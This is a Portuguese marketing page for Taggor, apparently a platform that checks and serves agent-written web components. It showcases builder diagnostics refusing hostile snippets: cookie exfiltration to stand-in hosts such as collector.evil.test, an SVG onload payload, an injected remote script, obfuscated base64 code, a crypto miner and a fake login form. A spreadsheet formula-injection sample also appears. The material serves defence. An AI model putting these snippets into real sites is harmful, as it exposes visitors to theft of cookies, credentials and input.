Um robô entra. Não se perde.
Um campo oculto que nenhuma pessoa vê marca o envio do robô como suspeito. Ele fica guardado, com etiqueta e filtrável, nunca descartado sem você saber.
Rascunho · componentes feitos por agente para sites
Peça um carrossel, uma tabela de preços, um mapa de lojas ou um formulário. Seu agente escreve o componente; o Taggor constrói, versiona e coloca nos seus sites com uma única tag de script.
A faixa de logos aparece no site.
Cole no seu agente. Ele pergunta a você antes de entrar na conta ou pagar.
Busque https://taggor.dev/agent-setup/prompt.md e siga as instruções de lá para me configurar para o Taggor. Pergunte-me antes de entrar na conta, criar uma conta, aceitar termos, pagar qualquer coisa ou digitar um segredo.
02
Uma tag de script por site, colada uma vez. Cada site mantém as próprias palavras e cores; uma publicação atualiza todos eles.
<contact-form />Padariaroda v7v8
Lojaroda v7v8
Clínicaroda v7v8
Produto de softwareroda v7v8
Ilustração: os sites e os negócios são inventados. Simulação: nada sai desta página
Ver a página de plataformas. O snippet exato de cada framework e plataforma, com os limites que ela documenta, está na página de plataformas.
03
Os envios ficam guardados para você, marcados quando parecem automáticos e nunca descartados em silêncio. Filtre, exporte e apague quando quiser.
contacts| Recebido em | name | message | Suspeito | |
|---|---|---|---|---|
| 14:03 | Bot Example | bot@example.net | =HYPERLINK("https://example.invalid/win","Claim your prize") | Suspeito |
| 14:02 | Ada Example | ada@example.com | - | |
| 13:42 | Grace Sample | grace@example.org | Do you ship on Fridays? | |
| 13:22 | Alan Test | alan@example.net | Is there a dark theme? |
id,created_at,status,site_id,schema_version,page,country,browser,consent,verification,suspect,name,email,message
sub_demo_0004,2026-11-10T14:03:00.000Z,received,st_demo,1,/contact,BR,Chrome,"{""text_hash"":""0000000000000000000000000000000000000000000000000000000000000000"",""locale"":""en"",""text_variant"":""default_with_site"",""site_host"":""example.com"",""policy_url"":""https://example.com/privacy"",""recorded_at"":""2026-11-10T14:02:00.000Z"",""component_version"":""0000000000000000000000000000000000000000000000000000000000000000""}",none,honeypot,Bot Example,bot@example.net,"'=HYPERLINK(""https://example.invalid/win"",""Claim your prize"")"
sub_demo_0003,2026-11-10T14:02:00.000Z,received,st_demo,1,/contact,BR,Chrome,"{""text_hash"":""0000000000000000000000000000000000000000000000000000000000000000"",""locale"":""en"",""text_variant"":""default_with_site"",""site_host"":""example.com"",""policy_url"":""https://example.com/privacy"",""recorded_at"":""2026-11-10T14:02:00.000Z"",""component_version"":""0000000000000000000000000000000000000000000000000000000000000000""}",none,,Ada Example,ada@example.com,
sub_demo_0002,2026-11-10T13:42:00.000Z,received,st_demo,1,/contact,BR,Chrome,"{""text_hash"":""0000000000000000000000000000000000000000000000000000000000000000"",""locale"":""en"",""text_variant"":""default_with_site"",""site_host"":""example.com"",""policy_url"":""https://example.com/privacy"",""recorded_at"":""2026-11-10T14:02:00.000Z"",""component_version"":""0000000000000000000000000000000000000000000000000000000000000000""}",none,,Grace Sample,grace@example.org,Do you ship on Fridays?
sub_demo_0001,2026-11-10T13:22:00.000Z,received,st_demo,1,/contact,BR,Chrome,"{""text_hash"":""0000000000000000000000000000000000000000000000000000000000000000"",""locale"":""en"",""text_variant"":""default_with_site"",""site_host"":""example.com"",""policy_url"":""https://example.com/privacy"",""recorded_at"":""2026-11-10T14:02:00.000Z"",""component_version"":""0000000000000000000000000000000000000000000000000000000000000000""}",none,,Alan Test,alan@example.net,Is there a dark theme?
votes| Recebido em | poll_id | option | Suspeito |
|---|---|---|---|
| 14:02 | lunch | Tacos | |
| 13:42 | lunch | Ramen | |
| 13:22 | lunch | Pizza | |
| 13:02 | lunch | Pizza |
id,created_at,status,site_id,schema_version,page,country,browser,consent,verification,suspect,poll_id,option sub_demo_0004,2026-11-10T14:02:00.000Z,received,st_demo,1,/poll,BR,Chrome,,none,,lunch,Tacos sub_demo_0003,2026-11-10T13:42:00.000Z,received,st_demo,1,/poll,BR,Chrome,,none,,lunch,Ramen sub_demo_0002,2026-11-10T13:22:00.000Z,received,st_demo,1,/poll,BR,Chrome,,none,,lunch,Pizza sub_demo_0001,2026-11-10T13:02:00.000Z,received,st_demo,1,/poll,BR,Chrome,,none,,lunch,Pizza
Minimalist 82%
O resultado é guardado, não a pessoa.
results| Recebido em | quiz_id | profile | percent | Suspeito |
|---|---|---|---|---|
| 14:02 | style | Minimalist | 82 | |
| 13:42 | style | Maximalist | 64 | |
| 13:22 | style | Minimalist | 91 |
id,created_at,status,site_id,schema_version,page,country,browser,consent,verification,suspect,quiz_id,profile,percent sub_demo_0003,2026-11-10T14:02:00.000Z,received,st_demo,1,/quiz,BR,Chrome,,none,,style,Minimalist,82 sub_demo_0002,2026-11-10T13:42:00.000Z,received,st_demo,1,/quiz,BR,Chrome,,none,,style,Maximalist,64 sub_demo_0001,2026-11-10T13:22:00.000Z,received,st_demo,1,/quiz,BR,Chrome,,none,,style,Minimalist,91
bookings| Recebido em | date | time | minutes | Suspeito |
|---|---|---|---|---|
| 14:02 | 2026-11-14 | 09:00 | 30 | |
| 13:42 | 2026-11-12 | 10:00 | 30 | |
| 13:22 | 2026-11-13 | 15:30 | 30 |
Os outros campos ficam nos detalhes do envio e no arquivo.
id,created_at,status,site_id,schema_version,page,country,browser,consent,verification,suspect,date,time,minutes,name,email
sub_demo_0003,2026-11-10T14:02:00.000Z,received,st_demo,1,/booking,BR,Chrome,"{""text_hash"":""0000000000000000000000000000000000000000000000000000000000000000"",""locale"":""en"",""text_variant"":""default_with_site"",""site_host"":""example.com"",""policy_url"":""https://example.com/privacy"",""recorded_at"":""2026-11-10T14:02:00.000Z"",""component_version"":""0000000000000000000000000000000000000000000000000000000000000000""}",none,,2026-11-14,09:00,30,Ada Example,ada@example.com
sub_demo_0002,2026-11-10T13:42:00.000Z,received,st_demo,1,/booking,BR,Chrome,"{""text_hash"":""0000000000000000000000000000000000000000000000000000000000000000"",""locale"":""en"",""text_variant"":""default_with_site"",""site_host"":""example.com"",""policy_url"":""https://example.com/privacy"",""recorded_at"":""2026-11-10T14:02:00.000Z"",""component_version"":""0000000000000000000000000000000000000000000000000000000000000000""}",none,,2026-11-12,10:00,30,Grace Sample,grace@example.org
sub_demo_0001,2026-11-10T13:22:00.000Z,received,st_demo,1,/booking,BR,Chrome,"{""text_hash"":""0000000000000000000000000000000000000000000000000000000000000000"",""locale"":""en"",""text_variant"":""default_with_site"",""site_host"":""example.com"",""policy_url"":""https://example.com/privacy"",""recorded_at"":""2026-11-10T14:02:00.000Z"",""component_version"":""0000000000000000000000000000000000000000000000000000000000000000""}",none,,2026-11-13,15:30,30,Alan Test,alan@example.net
ratings| Recebido em | stars | comment | Suspeito |
|---|---|---|---|
| 14:02 | 5 | - | |
| 13:42 | 5 | Loved it | |
| 13:22 | 4 | - | |
| 13:02 | 5 | - |
id,created_at,status,site_id,schema_version,page,country,browser,consent,verification,suspect,stars,comment sub_demo_0004,2026-11-10T14:02:00.000Z,received,st_demo,1,/rating,BR,Chrome,,none,,5, sub_demo_0003,2026-11-10T13:42:00.000Z,received,st_demo,1,/rating,BR,Chrome,,none,,5,Loved it sub_demo_0002,2026-11-10T13:22:00.000Z,received,st_demo,1,/rating,BR,Chrome,,none,,4, sub_demo_0001,2026-11-10T13:02:00.000Z,received,st_demo,1,/rating,BR,Chrome,,none,,5,
Simulação: nada sai desta página
Um campo oculto que nenhuma pessoa vê marca o envio do robô como suspeito. Ele fica guardado, com etiqueta e filtrável, nunca descartado sem você saber.
A exportação monta o arquivo com o que a tabela mostra. Uma célula que começa como fórmula ganha uma aspa na frente, então abrir o arquivo não a executa.
=HYPERLINK("https://example.invalid/win","Claim your prize")'=HYPERLINK("https://example.invalid/win","Claim your prize")O endereço, a identificação do navegador e a página de origem batem numa parede. Só a página, o país e a família do navegador passam, e o banco recusa qualquer outra chave.
04
Impressões, interações e conversões por site, país e dispositivo, contadas sem cookies. No portal, no terminal e para o seu agente.
Como seus componentes estão indo nos sites do workspace.
taggor metrics --group-by country
production, últimos 7 dias, por dia. Não é tempo real; eventos do navegador não são verificados.
Impressões: 9.949 (component_events, forgeable)
Interações: 3.104 (component_events, forgeable)
Eventos personalizados: 1.174 (component_events, forgeable)
Conversões: 468 (submissions, counted)
Taxa de interação: 31,2% (component_events, forgeable)
Taxa de conversão: 4,7% (component_events, forgeable)Os mesmos números, uma linha por métrica, cada uma com a fonte e o quanto dá para confiar. Com --json, o seu agente lê.
Números ilustrativos
Uma conversão é um envio que o Taggor guardou, então é contada. O que um navegador informa pode ser inflado por quem conhece a chave de um site, então leva o rótulo falsificável e nenhuma cobrança se apoia nisso.
Quando o navegador do visitante envia Global Privacy Control ou Do Not Track, só a renderização é contada. O país são duas letras e o dispositivo é uma de quatro classes: nenhum identificador de visitante, endereço IP ou user agent é guardado para uma métrica.
Quando um componente quebra no navegador de um visitante, o runtime avisa. Cada versão tem seus erros divididos pelas suas montagens, um sinal para ler antes de promover.
05
Cada cartão abaixo é um componente Taggor de verdade, entregue a esta página pelo Taggor do mesmo jeito que chega aos seus sites. Pode usar.
Seu agente escreve. O Taggor confere, entrega e guarda cada versão.
06
O seu agente declara props, eventos e dados uma vez. O Taggor os transforma em controles, tipos e código para cada framework.
rate: prop.number({
description: "Monthly interest rate, in percent.",
min: 0,
max: 20,
step: 0.01,
default: 1.2,
}),emit("simulate", {
amount: nextAmount,
months: nextMonths,
installment: installment(nextAmount, props.rate, nextMonths),
});"--fs-accent": { type: "color", default: "#0a7d5a", description: "Accent and button color." },track: { simulate: { props: { months: { type: "number", integer: true, min: 1 } } } },locales: { default: "pt-BR", messages: { "pt-BR": ptBR, en } },finance-simulator.d.tssha256-…quick-poll/src/index.tsx
import { defineTaggorComponent, prop, useTaggorData } from "@taggor/component";
export default defineTaggorComponent({
name: "quick-poll",
tag: "quick-poll",
props: {
question: prop.string({ maxLength: 200, default: "Which feature first?" }),
options: prop.array({ items: { type: "string" }, default: ["Dark mode", "Mobile app"] }),
},
data: {
collections: {
votes: { fields: { option: { type: "string", maxLength: 80 } }, required: ["option"] },
},
},
cssVars: {
"--qp-accent": { type: "color", default: "#7c3aed", description: "Button color." },
},
styles: ({ cssVar }) => [
`button { background: ${cssVar("--qp-accent")}; color: #fff; border-radius: 999px }`,
],
render: (props, context) => {
const votes = useTaggorData(context, "votes");
if (votes.status === "success") return <p>Thanks for voting!</p>;
return (
<fieldset>
<legend>{props.question}</legend>
{props.options.map((option) => (
<button onClick={() => votes.submit({ option })}>{option}</button>
))}
</fieldset>
);
},
});Props, uma coleção de dados, um ajuste de estilo e o que ele desenha. Versão curta de examples/quick-poll.
index.html · <head>
<script async src="https://cdn.taggorcdn.com/s/<site-key>.js"></script>
A mesma linha em todas as páginas do site. Ela carrega só os componentes que a página usa.
index.html · <body>
<quick-poll
question="Which feature first?"
options='["Dark mode","Mobile app","WhatsApp"]'
style="--qp-accent: #0f766e"
></quick-poll>Cada site passa as próprias palavras e cores. Publicar uma versão nova não muda nada aqui.
07
Primeiro os números, depois as coisas pequenas que são fáceis de perder.
hash 90c349afd8f63293…Travada: os mesmos bytes, sempre.O código do seu agente é tratado como não confiável: construído sem rede, verificado contra as nossas regras e recusado com o arquivo e a linha quando algo está errado.
Remover uma prop da qual um site depende trava a publicação em produção até você autorizar.
Staging e produção apontam cada um para uma versão. Voltar só move o ponteiro; nada é recompilado.
O loader e o runtime não gravam cookie, não escrevem em storage e não identificam ninguém pelo aparelho. As contagens de visitantes não levam dado pessoal.
Cada componente roda atrás da própria barreira de erro: se um falha, o resto da página continua funcionando.
3 KiB Teto de tamanho do loader (gzip), conferido antes de cada nova versão do Taggor
Teto de tamanho do loader (gzip), conferido antes de cada nova versão do Taggor
Uma agência mantém os sites de cada cliente juntos, num só workspace.
10.100 de 10.000
101% usados Atingido em 100%
200 de 250
80% usados Aviso em 80%
Continua aqui, continua normal.
Um componente Renderizando normalmente
Nada muda para os seus visitantes quando um medidor enche.
Números ilustrativos
Renderizações e envios por site, contados sem cookies. Você é avisado em 80% e em 100%; seus visitantes nunca percebem nada.
Cada componente vem com um arquivo de declaração gerado, e o editor do site confere as props.
before-after-sliderbooking-pickerbudget-calculatorcard-carouselcontact-formbaixadodata-tablefaq-accordionbaixadofeedback-collectorfinance-simulatorlaunch-countdownO manifesto lista 10 componentes. Esta página tem 2 deles, então só 2 bundles são baixados.
O foco está na páginaO foco está dentro do componente
Aperte Tab: o foco passa pela página, entra no componente e sai, em ordem, como num campo nativo.
O loader tem um teto rígido, conferido antes de cada nova versão do Taggor. Ao lado de um arquivo que esta página já baixa:
Um componente leva suas mensagens em cada idioma que você der e mostra o do visitante.
Toda página da documentação também existe em Markdown, no mesmo endereço com .md, e o llms.txt lista as principais.
Baixe qualquer versão publicada para uma pasta de projeto, e o código-fonte nunca fica só do nosso lado.
O taggor dev serve uma prévia local com recarga automática, e o seu agente vê o que acabou de mudar.
O taggor login mostra um código curto no terminal; você aprova o mesmo código na página /device do portal.
O onboarding do portal espera a primeira versão que o seu agente publica e marca o passo.
Seus visitantes veem o seu componente, nunca um selo “Feito com Taggor”.
Um novo envio pode mandar um e-mail para você, e você sabe dele sem abrir o portal.
Ilustrações, desenhadas para esta página.
08
O seu agente corrige os próprios erros de build. O código dele é tratado como não confiável e verificado a cada publicação, e cada componente roda numa caixa só dele na sua página.
Deslize para o lado pelos passos
Fetch https://taggor.dev/agent-setup/prompt.md and follow its instructions to set me up for Taggor. Ask me before you sign in, create an account, accept terms, pay for anything or type a secret.taggor init --agent claudeCreated the project in ~/.taggor/projects/rich-note with the component rich-note. wrote taggor.json wrote components/rich-note/src/index.tsxAgent files (bundle 0.6.0) for claude: wrote .claude/skills/taggor/SKILL.md wrote CLAUDE.mdtaggor checkfailed: rich-note (1 error(s), 0 warning(s))components/rich-note/src/index.tsx:15:36 error UNSAFE_HTML_SINK: a string written as HTML can run script (rule html-sink): innerHTML with a string that is not a fixed literal if (box.current) box.current.innerHTML = message; hint: Render the content with JSX ({message} is escaped), or set textContent; for formatting, accept structured data (a list of paragraphs, bold ranges) instead of HTML.1 of 1 component(s) would fail the publication gates (1 error(s)).agent: the hint says to render with JSX. Editing src/index.tsx.--- src/index.tsx- 13 const box = useRef<HTMLDivElement>(null);- 14 useEffect(() => {- 15 if (box.current) box.current.innerHTML = message;- 16 }, [message]);- 17 return <div ref={box} />;+ return <div>{message}</div>;taggor checkok: rich-note passed 3 gate(s)1 component(s) checked, all publishable.taggor publishUploaded. Build bld_….Build bld_…: queuedBuild bld_…: buildingBuild bld_…: checkingBuild bld_…: succeeded preview: https://<preview host>/p/<token>taggor logs rich-note --followBuild bld_… (newest version of rich-note)[queued] passed[resolving] passed[compiling] passed[gate:typecheck] passed[gate:size] passed[gate:security] passed[build] succeeded (0 errors, 0 warnings)19 componentes escritos para atacar a página hospedeira ou seus visitantes: o corpus real contra o qual testamos o builder. Cada um é recusado com o código, o arquivo e a linha.
Recusado: SECRET_IN_SOURCE
.env · src/config.ts
taggor publishLeft out .env: it looks like a credential and is never packaged.src/config.ts:1:24 error SECRET_IN_SOURCE: a GitHub token (ghp_…) is in the component's source; the bundle is public, so the build refuses it1 secret(s) found in the component's files (values are masked). Nothing was sent: the bundle is public. Remove them and rotate the keys.Um arquivo .env, um arquivo de chave ou um token escrito no código é barrado pela CLI antes de qualquer envio, e o valor aparece mascarado na mensagem.
Recusado: VIEWPORT_OVERLAY
src/index.tsx:10
9 description: "A ribbon with today's promotion.",10 styles: ":host { position: fixed; inset: 0; z-index: 2147483647; opacity: 0.01 }",11 render: () => <a href="https://offers.example.net/">Today only</a>,Fixes the invisible host over the whole viewport to take the page's clicks (clickjacking).
Recusado: CREDENTIAL_CAPTURE
src/index.tsx:31
30 <form onSubmit={onSubmit}>31 <p>Your session has expired. Sign in with Google to continue.</p>32 <input name="email" type="email" autocomplete="username" />A look-alike login that stores the visitor's password through a Taggor collection (T-61).
Recusado: MINING_PATTERN
src/index.tsx:8
7 8const WORKER_SOURCE = `9let nonce = 0;A Blob worker that hashes in a loop and talks Stratum to a mining pool over a WebSocket.
Recusado: UNDECLARED_NETWORK
src/index.tsx:13
12 useEffect(() => {13 void fetch("https://collector.evil.test/c", {14 method: "POST",Reads document.cookie and posts it to an undeclared origin.
Recusado: UNSAFE_DOCUMENT_WRITE
src/index.tsx:14
13 onClick={() => {14 document.open();15 document.write(document.write on a click, replacing the host page with a card form.
Recusado: MANIFEST_EXTRACTION_FAILED
src/index.tsx:5
4 5const greeting = eval('"hello"') as string;6 eval at the top level of the module: the locked-down manifest extraction (no code generation from strings) already fails it.
Recusado: UNSAFE_EVAL
src/index.tsx:18
17 const input = (event.currentTarget as HTMLFormElement).elements.namedItem("expr");18 setResult(String(eval((input as HTMLInputElement).value)));19 }}eval on what the visitor types, inside an event handler.
Recusado: UNSAFE_SCRIPT_ELEMENT
src/index.tsx:13
12 useEffect(() => {13 const script = document.createElement("script");14 script.src = "https://cdn.evil.test/payload.js";Appends an external <script> to the host page's head, outside the shadow root.
Recusado: CONSENT_FORGED
src/index.tsx:21
20 useEffect(() => {21 consent.setGiven(true);22 }, []);Ticks the consent box itself in an effect, so the proof of consent is forged.
Recusado: UNDECLARED_NETWORK
src/index.tsx:14
13 const pixel = new Image();14 pixel.src = "https://pixel.example.net/p.gif?v=" + encodeURIComponent(value);15 };Sends what the visitor types in the URL of a hidden image, to an undeclared origin.
Recusado: UNSAFE_HTML_SINK
src/index.tsx:15
14 useEffect(() => {15 if (box.current) box.current.innerHTML = message;16 }, [message]);Writes a string prop (an attribute of the page) through innerHTML.
Recusado: UNSAFE_FUNCTION_CONSTRUCTOR
src/index.tsx:12
11 render: ({ formula }) => {12 const compute = new Function(`return (${formula});`) as () => unknown;13 return <output>{String(compute())}</output>;new Function over a string prop, so the page's attribute becomes code.
Recusado: OBFUSCATED_CODE
src/index.tsx:15
14 useEffect(() => {15 const code = atob(atob(PAYLOAD));16 const probe = atob("ZmV0Y2goJ2h0dHBzOi8vYy5leGFtcGxlLm5ldCcp");Hides its payload in base64 inside base64, base64 of code and a name spelled in character codes.
Recusado: UNSAFE_PREACT_INTERNALS
src/index.tsx:6
5 const consent = useConsent(props.context, props.componentInputProps);6 for (const hook of this.__H.__) {7 const dispatch = hook.__?.[1];Dispatches consent through Preact's mangled hook state instead of a visitor action.
Recusado: UNSAFE_STRING_TIMER
src/index.tsx:14
13 useEffect(() => {14 const run = setTimeout as unknown as (code: string, ms: number) => number;15 run(action, 1000);setTimeout with a string built from a prop, an eval in disguise.
Recusado: ASSET_SVG_UNSAFE
src/badge.svg:1
1<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 10 10" onload="fetch('https://evil.example/c?' + document.cookie)">2 <script>top.location = "https://evil.example/phish";</script>An SVG asset with a <script> and an onload handler (TAG-410): refused with ASSET_SVG_UNSAFE at each line, nothing published.
Recusado: UNSAFE_TAGGOR_GLOBAL
src/index.tsx:15
14 const original = host.taggor;15 Object.defineProperty(window, "taggor", {16 configurable: true,Replaces the host page's taggor API to read the other components' events.
Recusado: UNDECLARED_NETWORK
src/index.tsx:14
13 const timer = setTimeout(() => {14 (window.top ?? window).location.href = "https://login.phish.test/account";15 }, 3000);Navigates the top window to a look-alike login page after mounting.
Recusado: UNDECLARED_NETWORK
src/index.tsx:15
14 void fetch("https://api.store.example.com/quote?q=" + encodeURIComponent(value));15 void fetch("https://collector.example.net/keys", { method: "POST", body: value });16 };Declares the store's API and also sends what the visitor types to an undeclared origin.
Diagnósticos reais do corpus de testes do builder
Se pedir para criar uma chave de API, o agente recebe uma recusa que diz a página exata do portal e os passos para você. Ele não tenta de novo nem procura um jeito de contornar.
agente: preciso de uma chave de API.403 human_action_requiredIsto é para uma pessoa, não para um agente: Criar uma chave de API ou token. Não tente de novo. Diga à pessoa para abrir /w/<workspace-slug>/settings/api-keys no portal (<workspace-slug> é o slug do workspace) e: 1. Entre no portal e abra o workspace. 2. Abra Configurações e depois Chaves de API. 3. Escolha Criar chave, dê um nome e marque só os escopos de que ela precisa. 4. Copie a chave uma vez, quando ela aparecer, para a ferramenta que a usa; não a cole em um chat.O que a CLI repassa ao agente, do catálogo do contrato
Toda página da documentação também existe em Markdown, no mesmo endereço com .md, então o agente lê a página sem o que a cerca.
GET /docs/quickstart.md# CLI quickstartFrom an empty directory to a component on a test site, with the taggor CLI.## Before you start## 1. Download the CLI and check its hash## 2. Sign in## 3. Create the first componentO começo de uma página real da documentação, em Markdown
Se um deles der erro, ou o Taggor sair do ar, o resto da sua página fica como estava. Experimente, depois leia o que cada camada faz.
O próprio texto, o próprio botão, três componentes.
apertado 0 vezes
click-counterContadorConta, com o próprio botão.+click-countero conteúdo dentro da tagNenhum clique ainda, como a página escreveu.promo-bannerBanner de promoçãoUma linha e um link.→promo-bannero conteúdo dentro da tagA linha de texto da própria página.faq-accordionPerguntasAbre e fecha.▾faq-accordiono conteúdo dentro da tagAs perguntas como texto simples.Erros na página:
Aperte um botão. A página conta os próprios erros.
Um componente lançou um erro. Só ele caiu para o conteúdo que você escreveu dentro da tag; os outros dois seguiram.
Os botões da página ficaram amarelos com !important. Os componentes mantiveram o próprio visual: o CSS da página não atravessa o Shadow DOM.
Com o Taggor desligado, cada tag mostra o conteúdo que está dentro dela, e a página continua clicável.
Reencenação das nossas suítes de teste Da suíte de caos (um bundle que lança erro, a CDN fora do ar) e da matriz de compatibilidade (uma folha de estilo hostil na página).
09
As dúvidas que nós também teríamos, respondidas com a própria coisa: cada resposta aponta a parte desta página que a comprova.
Deixe o código no seu repositório. O Taggor cuida do que vem depois: versões que não mudam, dois canais e um botão de desfazer.
a41f09c23c9e07b25d17e6a0A produção aponta para v8.
A produção voltou para v7: o mesmo build, byte a byte, hash 3c9e07b2.
Desfazer move o ponteiro; os sites acompanham em cerca de 60 s, sem refazer nada.
Simulação: nada sai desta página
Ótimo para aquela plataforma. O Taggor é neutro: o seu próprio agente escreve o componente, e um snippet o coloca no site que você escolher.
Preocupação justa, por isso ele fica numa caixa: se um componente falhar, ou o Taggor sair do ar, a sua página continua como estava.
Sim, servido pela rede global da Cloudflare. Sim, um loader minúsculo.
3 KiB Teto de tamanho do loader (gzip), conferido antes de cada nova versão do Taggor
Primeiro o staging, toda versão fica guardada e voltar é um movimento só. O que os visitantes escrevem nunca vira instrução.
Alguns são, e um formulário simples pode ser tudo o que você precisa. Quando ele deve ser um componente seu, o Taggor guarda o componente e os dados num lugar só.
Sem cookies por padrão, e o que você coleta é seu.
O código do cliente é tratado como não confiável. Ele é construído num contêiner isolado, verificado a cada publicação (código que usa eval, grava cookies ou storage ou acessa um endereço de rede não declarado é recusado) e roda no navegador dentro de um Shadow DOM com uma barreira de erros. Mais na documentação.
O loader é um script assíncrono pequeno, com um orçamento de tamanho imposto no CI, e busca só os componentes que aquele site usa. Não publicamos números de velocidade até medi-los num site de verdade. Mais na documentação.
A página fica como estava. Se o loader ou um pacote não for alcançado, a página segue utilizável, e o conteúdo de reserva que você escreveu dentro da tag continua visível. Mais na documentação.
O componente é código TypeScript na sua própria pasta, e os dados que ele coleta se exportam em CSV ou NDJSON. Tire o snippet e a página volta ao que era. Mais na documentação.
O loader e o runtime não gravam cookie e não identificam o visitante pelo aparelho. Se um componente coleta dado pessoal, ele mostra uma caixa de consentimento e cada envio guarda a prova do que o visitante aceitou. Mais na documentação.
Você, pelo seu próprio agente. O Taggor não roda nenhum modelo nos seus componentes: o seu agente os escreve com o SDK, e o Taggor constrói e entrega o que ele publica. Mais na documentação.
Nas que deixam você adicionar uma tag de script, com os limites que cada plataforma documenta. A página de plataformas diz quais rodamos e quais só lemos na ajuda da própria plataforma. Mais na documentação.
O Free custa US$ 0, o Pro custa US$ 14 por mês e a Agency custa US$ 49 por mês. Todo plano tem todos os recursos; os planos diferem no volume.
10
Cole o prompt no seu agente de código. Ele lê a página de configuração, instala o Taggor e pergunta a você antes de entrar na conta, criar uma conta ou pagar.
Prompt de uma linha para o seu agente
Busque https://taggor.dev/agent-setup/prompt.md e siga as instruções de lá para me configurar para o Taggor. Pergunte-me antes de entrar na conta, criar uma conta, aceitar termos, pagar qualquer coisa ou digitar um segredo.
O taggor init --agent grava o arquivo que o seu agente lê. Escolha o seu para ver o que ele recebe.
Arquivo no seu projeto: .claude/skills/taggor/SKILL.md
---name: taggor--- ## Rules for you, the agent - Never create or revoke API keys or tokens, pay, accept the Terms or the DPA, delete the workspace or change its owner: those are the person's, in the portal. When the API, the CLI or the MCP answers `human_action_required`, tell the person the portal page and the steps it names, and do not retry or look for a way around it. 3. **Fix** every diagnostic by its `code` and `hint` (`error.errors[]` in the JSON, and the `docs_url` it carries). Change the code, never the check. Go back to 2 until it exits `0`. [references/troubleshooting.md](references/troubleshooting.md) lists the exit codes and what to do.Uma skill, mais um bloco do Taggor no CLAUDE.md. A mesma regra, linha por linha, nos três.
Arquivo no seu projeto: AGENTS.md
<!-- taggor:start --><!-- taggor:bundle 0.6.0 -->## Taggor components### Rules for you, the agent - Never create or revoke API keys or tokens, pay, accept the Terms or the DPA, delete the workspace or change its owner: those are the person's, in the portal. When the API, the CLI or the MCP answers `human_action_required`, tell the person the portal page and the steps it names, and do not retry or look for a way around it. 3. Fix each diagnostic by its `code` and `hint`, then check again, until it exits `0`.Um bloco do Taggor no AGENTS.md; qualquer agente que leia o AGENTS.md o recebe. A mesma regra, linha por linha, nos três.
Arquivo no seu projeto: .cursor/rules/taggor.mdc
---description: Taggor components: how to write, check and publish themalwaysApply: true--- <!-- taggor:start --><!-- taggor:bundle 0.6.0 -->## Taggor components### Rules for you, the agent - Never create or revoke API keys or tokens, pay, accept the Terms or the DPA, delete the workspace or change its owner: those are the person's, in the portal. When the API, the CLI or the MCP answers `human_action_required`, tell the person the portal page and the steps it names, and do not retry or look for a way around it. 3. Fix each diagnostic by its `code` and `hint`, then check again, until it exits `0`.Um arquivo de regras que vale em todo chat. A mesma regra, linha por linha, nos três.